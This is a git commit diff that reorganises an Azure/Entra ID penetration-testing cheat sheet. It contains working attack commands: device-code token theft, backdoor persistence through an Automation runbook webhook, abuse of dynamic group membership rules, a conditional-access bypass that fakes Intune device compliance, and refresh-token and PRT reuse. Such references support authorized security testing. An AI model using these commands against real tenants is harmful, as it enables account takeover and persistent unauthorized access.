Azure Runbook + Dynamic Membership
parent
ce9e94fe47
commit
8a796c3e8e
|
@ -3,11 +3,6 @@
|
||||||
## Summary
|
## Summary
|
||||||
|
|
||||||
* [Azure Recon Tools](#azure-recon-tools)
|
* [Azure Recon Tools](#azure-recon-tools)
|
||||||
* [Authenticating to the Microsoft Graph API in PowerShell](#authenticating-to-the-microsoft-graph-api-in-powershell)
|
|
||||||
* [Graph API Refresh Token](#graph-api-refresh-token)
|
|
||||||
* [Graph API Access Token](#graph-api-access-token)
|
|
||||||
* [Terminology](#terminology)
|
|
||||||
* [Training](#training)
|
|
||||||
* [Enumeration](#enumeration)
|
* [Enumeration](#enumeration)
|
||||||
* [Enumerate valid emails](#enumerate-valid-emails)
|
* [Enumerate valid emails](#enumerate-valid-emails)
|
||||||
* [Enumerate Azure Subdomains](#enumerate-azure-subdomains)
|
* [Enumerate Azure Subdomains](#enumerate-azure-subdomains)
|
||||||
|
@ -31,19 +26,14 @@
|
||||||
* [Enumerate blobs](#enumerate-blobs)
|
* [Enumerate blobs](#enumerate-blobs)
|
||||||
* [SAS URL](#sas-url)
|
* [SAS URL](#sas-url)
|
||||||
* [List and download blobs](#list-and-download-blobs)
|
* [List and download blobs](#list-and-download-blobs)
|
||||||
* [Runbook Automation](#runbook-automation)
|
|
||||||
* [Create a Runbook](#create-a-runbook)
|
|
||||||
* [Persistence via Automation accounts](#persistence-via-automation-accounts)
|
|
||||||
* [Virtual Machine RunCommand](#virtual-machine-runcommand)
|
* [Virtual Machine RunCommand](#virtual-machine-runcommand)
|
||||||
* [KeyVault Secrets](#keyvault-secrets)
|
* [KeyVault Secrets](#keyvault-secrets)
|
||||||
* [Pass The Certificate](#pass--the-certificate)
|
* [Pass The Certificate](#pass--the-certificate)
|
||||||
* [Pass The PRT](#pass-the-prt)
|
* [Pass The PRT](#pass-the-prt)
|
||||||
* [Intunes Administration](#intunes-administration)
|
* [Intunes Administration](#intunes-administration)
|
||||||
* [Dynamic Group Membership](#dynamic-group-membership)
|
|
||||||
* [Administrative Unit](#administrative-unit)
|
* [Administrative Unit](#administrative-unit)
|
||||||
* [Deployment Template](#deployment-template)
|
* [Deployment Template](#deployment-template)
|
||||||
* [Application Proxy](#application-proxy)
|
* [Application Proxy](#application-proxy)
|
||||||
* [Conditional Access](#conditional-access)
|
|
||||||
* [Azure AD](#azure-ad)
|
* [Azure AD](#azure-ad)
|
||||||
* [Azure AD vs Active Directory](#azure-ad-vs-active-directory)
|
* [Azure AD vs Active Directory](#azure-ad-vs-active-directory)
|
||||||
* [Password Spray](#password-spray)
|
* [Password Spray](#password-spray)
|
||||||
|
@ -207,73 +197,6 @@
|
||||||
```
|
```
|
||||||
* [**dafthack/GraphRunner**](https://github.com/dafthack/GraphRunner) - A Post-exploitation Toolset for Interacting with the Microsoft Graph API
|
* [**dafthack/GraphRunner**](https://github.com/dafthack/GraphRunner) - A Post-exploitation Toolset for Interacting with the Microsoft Graph API
|
||||||
|
|
||||||
## Authenticating to the Microsoft Graph API in PowerShell
|
|
||||||
|
|
||||||
* [Microsoft Applications ID](https://learn.microsoft.com/fr-fr/troubleshoot/azure/active-directory/verify-first-party-apps-sign-in)
|
|
||||||
|
|
||||||
| Name | GUID |
|
|
||||||
|----------------------------|--------------------------------------|
|
|
||||||
| Microsoft Azure PowerShell | 1950a258-227b-4e31-a9cf-717495945fc2 |
|
|
||||||
| Microsoft Azure CLI | 04b07795-8ddb-461a-bbee-02f9e1bf7b46 |
|
|
||||||
| Portail Azure | c44b4083-3bb0-49c1-b47d-974e53cbdf3c |
|
|
||||||
|
|
||||||
|
|
||||||
### Graph API Refresh Token
|
|
||||||
|
|
||||||
Authenticating to the Microsoft Graph API in PowerShell
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
$body = @{
|
|
||||||
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
|
|
||||||
"resource" = "https://graph.microsoft.com" # Microsoft Graph API
|
|
||||||
}
|
|
||||||
$UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"
|
|
||||||
$Headers=@{}
|
|
||||||
$Headers["User-Agent"] = $UserAgent
|
|
||||||
$authResponse = Invoke-RestMethod `
|
|
||||||
-UseBasicParsing `
|
|
||||||
-Method Post `
|
|
||||||
-Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
|
|
||||||
-Headers $Headers `
|
|
||||||
-Body $body
|
|
||||||
$authResponse
|
|
||||||
```
|
|
||||||
|
|
||||||
### Graph API Access Token
|
|
||||||
|
|
||||||
This request require getting the Refresh Token.
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
$body=@{
|
|
||||||
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
|
|
||||||
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
|
|
||||||
"code" = $authResponse.device_code
|
|
||||||
}
|
|
||||||
$Tokens = Invoke-RestMethod `
|
|
||||||
-UseBasicParsing `
|
|
||||||
-Method Post `
|
|
||||||
-Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" `
|
|
||||||
-Headers $Headers `
|
|
||||||
-Body $body
|
|
||||||
$Tokens
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
## Terminology
|
|
||||||
|
|
||||||
> Basic Azure AD terminologies
|
|
||||||
|
|
||||||
* **Tenant**: An instance of Azure AD and represents a single organization.
|
|
||||||
* **Azure AD Directory**: Each tenant has a dedicated Directory. This is used to perform identity and access management functions for resources.
|
|
||||||
* **Subscriptions**: It is used to pay for services. There can be multiple subscriptions in a Directory.
|
|
||||||
* **Core Domain**: The initial domain name <tenant>.onmicrosoft.com is the core domain. It is possible to define custom domain names too.
|
|
||||||
|
|
||||||
|
|
||||||
## Training
|
|
||||||
|
|
||||||
* AzureGoat : A Damn Vulnerable Azure Infrastructure - https://github.com/ine-labs/AzureGoat
|
|
||||||
|
|
||||||
|
|
||||||
## Enumeration
|
## Enumeration
|
||||||
|
|
||||||
|
@ -663,58 +586,6 @@ PS Az> Get-AzStorageContainer -Context (Get-AzStorageAccount -name <NAME> -Resou
|
||||||
PS Az> Get-AzStorageBlobContent -Container <NAME> -Context (Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>).context -Blob
|
PS Az> Get-AzStorageBlobContent -Container <NAME> -Context (Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>).context -Blob
|
||||||
```
|
```
|
||||||
|
|
||||||
## Runbook Automation
|
|
||||||
|
|
||||||
### Create a Runbook
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
# Check user right for automation
|
|
||||||
az extension add --upgrade -n automation
|
|
||||||
az automation account list # if it doesn't return anything the user is not a part of an Automation group
|
|
||||||
az ad signed-in-user list-owned-objects
|
|
||||||
|
|
||||||
# If the user is not part of an "Automation" group.
|
|
||||||
# Add him to a custom group , e.g: "Automation Admins"
|
|
||||||
Add-AzureADGroupMember -ObjectId <OBJID> -RefObjectId <REFOBJID> -Verbose
|
|
||||||
|
|
||||||
# Get the role of a user on the Automation account
|
|
||||||
# Contributor or higher = Can create and execute Runbooks
|
|
||||||
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>
|
|
||||||
|
|
||||||
# List hybrid workers
|
|
||||||
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
|
|
||||||
|
|
||||||
# Create a Powershell Runbook
|
|
||||||
PS C:\Tools> Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose
|
|
||||||
|
|
||||||
# Publish the Runbook
|
|
||||||
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
|
|
||||||
|
|
||||||
# Start the Runbook
|
|
||||||
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
|
|
||||||
```
|
|
||||||
|
|
||||||
### Persistence via Automation accounts
|
|
||||||
|
|
||||||
* Create a new Automation Account
|
|
||||||
* "Create Azure Run As account": Yes
|
|
||||||
* Import a new runbook that creates an AzureAD user with Owner permissions for the subscription*
|
|
||||||
* Sample runbook for this Blog located here – https://github.com/NetSPI/MicroBurst
|
|
||||||
* Publish the runbook
|
|
||||||
* Add a webhook to the runbook
|
|
||||||
* Add the AzureAD module to the Automation account
|
|
||||||
* Update the Azure Automation Modules
|
|
||||||
* Assign "User Administrator" and "Subscription Owner" rights to the automation account
|
|
||||||
* Eventually lose your access…
|
|
||||||
* Trigger the webhook with a post request to create the new user
|
|
||||||
```powershell
|
|
||||||
$uri = "https://s15events.azure-automation.net/webhooks?token=h6[REDACTED]%3d"
|
|
||||||
$AccountInfo = @(@{RequestBody=@{Username="BackdoorUsername";Password="BackdoorPassword"}})
|
|
||||||
$body = ConvertTo-Json -InputObject $AccountInfo
|
|
||||||
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## Virtual Machine RunCommand
|
## Virtual Machine RunCommand
|
||||||
|
|
||||||
Requirements:
|
Requirements:
|
||||||
|
@ -854,21 +725,6 @@ Requirements:
|
||||||
:warning: It will take up to one hour before you script is executed !
|
:warning: It will take up to one hour before you script is executed !
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
## Dynamic Group Membership
|
|
||||||
|
|
||||||
Get groups that allow Dynamic membership: `Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}`
|
|
||||||
|
|
||||||
Rule example : `(user.otherMails -any (_ -contains "vendor")) -and (user.userType -eq "guest")`
|
|
||||||
Rule description: Any Guest user whose secondary email contains the string 'vendor' will be added to the group
|
|
||||||
|
|
||||||
1. Open user's profile, click on **Manage**
|
|
||||||
2. Click on **Resend** invite and to get an invitation URL
|
|
||||||
3. Set the secondary email
|
|
||||||
```powershell
|
|
||||||
PS> Set-AzureADUser -ObjectId <OBJECT-ID> -OtherMails <Username>@<TENANT NAME>.onmicrosoft.com -Verbose
|
|
||||||
```
|
|
||||||
|
|
||||||
## Administrative Unit
|
## Administrative Unit
|
||||||
|
|
||||||
> Administrative Unit can reset password of another user
|
> Administrative Unit can reset password of another user
|
||||||
|
@ -912,25 +768,6 @@ PS C:\Tools> Get-AzureADServicePrincipal -All $true -Filter "startswith(displayN
|
||||||
PS C:\Tools> Get-AzureADApplication -All $true -Filter "endswith(displayName,'PREFIX')" | Select-Object ReplyUrls,WwwHomePage,HomePage
|
PS C:\Tools> Get-AzureADApplication -All $true -Filter "endswith(displayName,'PREFIX')" | Select-Object ReplyUrls,WwwHomePage,HomePage
|
||||||
```
|
```
|
||||||
|
|
||||||
## Conditional Access
|
|
||||||
|
|
||||||
* Bypassing conditional access by copying User-Agent (Chrome Dev Tool > Select iPad Pro, etc)
|
|
||||||
* Bypassing conditional access by faking device compliance
|
|
||||||
```powershell
|
|
||||||
# AAD Internals - Making your device compliant
|
|
||||||
# Get an access token for AAD join and save to cache
|
|
||||||
Get-AADIntAccessTokenForAADJoin -SaveToCache
|
|
||||||
# Join the device to Azure AD
|
|
||||||
Join-AADIntDeviceToAzureAD -DeviceName "SixByFour" -DeviceType "Commodore" -OSVersion "C64"
|
|
||||||
# Marking device compliant - option 1: Registering device to Intune
|
|
||||||
# Get an access token for Intune MDM and save to cache (prompts for credentials)
|
|
||||||
Get-AADIntAccessTokenForIntuneMDM -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx -SaveToCache
|
|
||||||
# Join the device to Intune
|
|
||||||
Join-AADIntDeviceToIntune -DeviceName "SixByFour"
|
|
||||||
# Start the call back
|
|
||||||
Start-AADIntDeviceIntuneCallback -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7-MDM.pfx -DeviceName "SixByFour"
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## Azure AD
|
## Azure AD
|
||||||
|
|
||||||
|
|
|
@ -156,6 +156,61 @@ Use the user account to create a computer and request a PRT
|
||||||
* Request a PRT with MFA claim: `roadtx prt -r <refreshtoken> -c <device>.pem -k <device>.key`
|
* Request a PRT with MFA claim: `roadtx prt -r <refreshtoken> -c <device>.pem -k <device>.key`
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## Authenticate to the Microsoft Graph API in PowerShell
|
||||||
|
|
||||||
|
* [Microsoft Applications ID](https://learn.microsoft.com/fr-fr/troubleshoot/azure/active-directory/verify-first-party-apps-sign-in)
|
||||||
|
|
||||||
|
| Name | GUID |
|
||||||
|
|----------------------------|--------------------------------------|
|
||||||
|
| Microsoft Azure PowerShell | 1950a258-227b-4e31-a9cf-717495945fc2 |
|
||||||
|
| Microsoft Azure CLI | 04b07795-8ddb-461a-bbee-02f9e1bf7b46 |
|
||||||
|
| Portail Azure | c44b4083-3bb0-49c1-b47d-974e53cbdf3c |
|
||||||
|
|
||||||
|
|
||||||
|
### Graph API Refresh Token
|
||||||
|
|
||||||
|
Authenticating to the Microsoft Graph API in PowerShell
|
||||||
|
|
||||||
|
```ps1
|
||||||
|
$body = @{
|
||||||
|
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
|
||||||
|
"resource" = "https://graph.microsoft.com" # Microsoft Graph API
|
||||||
|
}
|
||||||
|
$UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"
|
||||||
|
$Headers=@{}
|
||||||
|
$Headers["User-Agent"] = $UserAgent
|
||||||
|
$authResponse = Invoke-RestMethod `
|
||||||
|
-UseBasicParsing `
|
||||||
|
-Method Post `
|
||||||
|
-Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
|
||||||
|
-Headers $Headers `
|
||||||
|
-Body $body
|
||||||
|
$authResponse
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### Graph API Access Token
|
||||||
|
|
||||||
|
This request require getting the Refresh Token.
|
||||||
|
|
||||||
|
```ps1
|
||||||
|
$body=@{
|
||||||
|
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
|
||||||
|
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
|
||||||
|
"code" = $authResponse.device_code
|
||||||
|
}
|
||||||
|
$Tokens = Invoke-RestMethod `
|
||||||
|
-UseBasicParsing `
|
||||||
|
-Method Post `
|
||||||
|
-Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" `
|
||||||
|
-Headers $Headers `
|
||||||
|
-Body $body
|
||||||
|
$Tokens
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
* [Hacking Your Cloud: Tokens Edition 2.0 - Edwin David - April 13, 2023](https://trustedsec.com/blog/hacking-your-cloud-tokens-edition-2-0)
|
* [Hacking Your Cloud: Tokens Edition 2.0 - Edwin David - April 13, 2023](https://trustedsec.com/blog/hacking-your-cloud-tokens-edition-2-0)
|
||||||
|
|
|
@ -0,0 +1,12 @@
|
||||||
|
# Microsoft Entra Connect
|
||||||
|
|
||||||
|
## Password Hash Synchronization
|
||||||
|
|
||||||
|
## Pass-Through Authentication
|
||||||
|
|
||||||
|
## Federation
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* [Introduction to Microsoft Entra Connect V2 - Microsoft](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-azure-ad-connect-v2)
|
|
@ -20,6 +20,19 @@
|
||||||
New-MgGroupMember -GroupId $groupid -DirectoryObjectid $targetmember
|
New-MgGroupMember -GroupId $groupid -DirectoryObjectid $targetmember
|
||||||
```
|
```
|
||||||
|
|
||||||
|
### Dynamic Group Membership
|
||||||
|
|
||||||
|
Get groups that allow Dynamic membership: `Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}`
|
||||||
|
|
||||||
|
Rule example : `(user.otherMails -any (_ -contains "vendor")) -and (user.userType -eq "guest")`
|
||||||
|
Rule description: Any Guest user whose secondary email contains the string 'vendor' will be added to the group
|
||||||
|
|
||||||
|
1. Open user's profile, click on **Manage**
|
||||||
|
2. Click on **Resend** invite and to get an invitation URL
|
||||||
|
3. Set the secondary email
|
||||||
|
```powershell
|
||||||
|
PS> Set-AzureADUser -ObjectId <OBJECT-ID> -OtherMails <Username>@<TENANT NAME>.onmicrosoft.com -Verbose
|
||||||
|
```
|
||||||
|
|
||||||
## Devices
|
## Devices
|
||||||
|
|
||||||
|
|
|
@ -14,11 +14,12 @@ Invoke-AADIntReconAsOutsider -UserName "user@company.com" | Format-Table
|
||||||
* roadrecon
|
* roadrecon
|
||||||
```ps1
|
```ps1
|
||||||
roadrecon auth --access-token eyJ0eXA...
|
roadrecon auth --access-token eyJ0eXA...
|
||||||
|
roadrecon auth --prt-cookie <primary-refresh-token> -r msgraph -c "1950a258-227b-4e31-a9cf-717495945fc2"
|
||||||
roadrecon gather
|
roadrecon gather
|
||||||
```
|
```
|
||||||
* AzureHound
|
* AzureHound
|
||||||
```ps1
|
```ps1
|
||||||
./azurehound -r REFRESH_TOKEN list --tenant domain.local -o output.json
|
./azurehound --refresh-token <refresh-token> list --tenant "<target-tenant-id>" -o output.json
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
|
@ -34,13 +35,30 @@ Conditional Access is used to restrict access to resources to compliant devices
|
||||||
| Platform requirement | User-Agent switcher (Android, PS4, Linux, ...) |
|
| Platform requirement | User-Agent switcher (Android, PS4, Linux, ...) |
|
||||||
| Protocol requirement | Use another protocol (e.g for e-mail acccess: POP, IMAP, SMTP) |
|
| Protocol requirement | Use another protocol (e.g for e-mail acccess: POP, IMAP, SMTP) |
|
||||||
| Azure AD Joined Device | Try to join a VM (Work Access)|
|
| Azure AD Joined Device | Try to join a VM (Work Access)|
|
||||||
|
| Compliant Device (Intune) | Fake device compliance |
|
||||||
| Device requirement | / |
|
| Device requirement | / |
|
||||||
| MFA | / |
|
| MFA | / |
|
||||||
| Legacy Protocols | / |
|
| Legacy Protocols | / |
|
||||||
| Compliant Device (Intune) | / |
|
|
||||||
| Domain Joined | / |
|
| Domain Joined | / |
|
||||||
|
|
||||||
|
|
||||||
|
Bypassing conditional access by faking device compliance
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# AAD Internals - Making your device compliant
|
||||||
|
# Get an access token for AAD join and save to cache
|
||||||
|
Get-AADIntAccessTokenForAADJoin -SaveToCache
|
||||||
|
# Join the device to Azure AD
|
||||||
|
Join-AADIntDeviceToAzureAD -DeviceName "SixByFour" -DeviceType "Commodore" -OSVersion "C64"
|
||||||
|
# Marking device compliant - option 1: Registering device to Intune
|
||||||
|
# Get an access token for Intune MDM and save to cache (prompts for credentials)
|
||||||
|
Get-AADIntAccessTokenForIntuneMDM -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx -SaveToCache
|
||||||
|
# Join the device to Intune
|
||||||
|
Join-AADIntDeviceToIntune -DeviceName "SixByFour"
|
||||||
|
# Start the call back
|
||||||
|
Start-AADIntDeviceIntuneCallback -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7-MDM.pfx -DeviceName "SixByFour"
|
||||||
|
```
|
||||||
|
|
||||||
## Azure AD - MFA
|
## Azure AD - MFA
|
||||||
|
|
||||||
* [dafthack/MFASweep](https://github.com/dafthack/MFASweep) - A tool for checking if MFA is enabled on multiple Microsoft Services
|
* [dafthack/MFASweep](https://github.com/dafthack/MFASweep) - A tool for checking if MFA is enabled on multiple Microsoft Services
|
||||||
|
|
|
@ -0,0 +1,28 @@
|
||||||
|
# Azure Requirements
|
||||||
|
|
||||||
|
## Pentest Requirements
|
||||||
|
|
||||||
|
* **Global Reader** and **Security Reader** roles in Azure AD
|
||||||
|
* **Reader** permission over the subscription
|
||||||
|
|
||||||
|
|
||||||
|
## Powershell and Native Modules
|
||||||
|
|
||||||
|
* [Microsoft Graph](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation?view=graph-powershell-1.0): `Install-Module Microsoft.Graph -Scope CurrentUser`
|
||||||
|
* [Azure AD](https://learn.microsoft.com/fr-fr/powershell/azure/active-directory/install-adv2?view=azureadps-2.0): `Install-Module AzureAD`
|
||||||
|
* [Azure AD Preview](https://learn.microsoft.com/fr-fr/powershell/azure/active-directory/install-adv2?view=azureadps-2.0): `Install-Module AzureADPreview`
|
||||||
|
* [Azure CLI](https://learn.microsoft.com/fr-fr/cli/azure/install-azure-cli-windows?tabs=winget): `winget install -e --id Microsoft.AzureCLI`
|
||||||
|
|
||||||
|
|
||||||
|
## Terminology
|
||||||
|
|
||||||
|
* **Tenant**: An instance of Azure AD and represents a single organization.
|
||||||
|
* **Azure AD Directory**: Each tenant has a dedicated Directory. This is used to perform identity and access management functions for resources.
|
||||||
|
* **Subscriptions**: It is used to pay for services. There can be multiple subscriptions in a Directory.
|
||||||
|
* **Core Domain**: The initial domain name <tenant>.onmicrosoft.com is the core domain. It is possible to define custom domain names too.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* [Az - Permissions for a Pentest - HackTricks](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-permissions-for-a-pentest)
|
|
@ -2,7 +2,43 @@
|
||||||
|
|
||||||
## Azure Runbook
|
## Azure Runbook
|
||||||
|
|
||||||
Runbook must be SAVED and PUBLISHED before running it.
|
Runbook must be **SAVED** and **PUBLISHED** before running it.
|
||||||
|
|
||||||
|
### Create a Runbook
|
||||||
|
|
||||||
|
* Check user right for automation
|
||||||
|
```powershell
|
||||||
|
az extension add --upgrade -n automation
|
||||||
|
az automation account list # if it doesn't return anything the user is not a part of an Automation group
|
||||||
|
az ad signed-in-user list-owned-objects
|
||||||
|
```
|
||||||
|
* Add the user to the "Automation" group: `Add-AzureADGroupMember -ObjectId <OBJID> -RefObjectId <REFOBJID> -Verbose`
|
||||||
|
* Get the role of a user on the Automation account: `Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>`. NOTE: Contributor or higher privileges accounts can create and execute Runbooks
|
||||||
|
* List hybrid workers: `Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>`
|
||||||
|
* Create a Powershell Runbook: `Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose`
|
||||||
|
* Publish the Runbook: `Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose`
|
||||||
|
* Start the Runbook: `Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose`
|
||||||
|
|
||||||
|
|
||||||
|
### Persistence via Automation accounts
|
||||||
|
|
||||||
|
* Create a new Automation Account
|
||||||
|
* "Create Azure Run As account": Yes
|
||||||
|
* Import a new runbook that creates an AzureAD user with Owner permissions for the subscription*
|
||||||
|
* Sample runbook https://github.com/NetSPI/MicroBurst
|
||||||
|
* Publish the runbook
|
||||||
|
* Add a webhook to the runbook
|
||||||
|
* Add the AzureAD module to the Automation account
|
||||||
|
* Update the Azure Automation Modules
|
||||||
|
* Assign "User Administrator" and "Subscription Owner" rights to the automation account
|
||||||
|
* Trigger the webhook with a post request to create the new user
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
$uri = "https://s15events.azure-automation.net/webhooks?token=h6[REDACTED]%3d"
|
||||||
|
$AccountInfo = @(@{RequestBody=@{Username="BackdoorUsername";Password="BackdoorPassword"}})
|
||||||
|
$body = ConvertTo-Json -InputObject $AccountInfo
|
||||||
|
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
## Azure Service Principal
|
## Azure Service Principal
|
||||||
|
|
Loading…
Reference in New Issue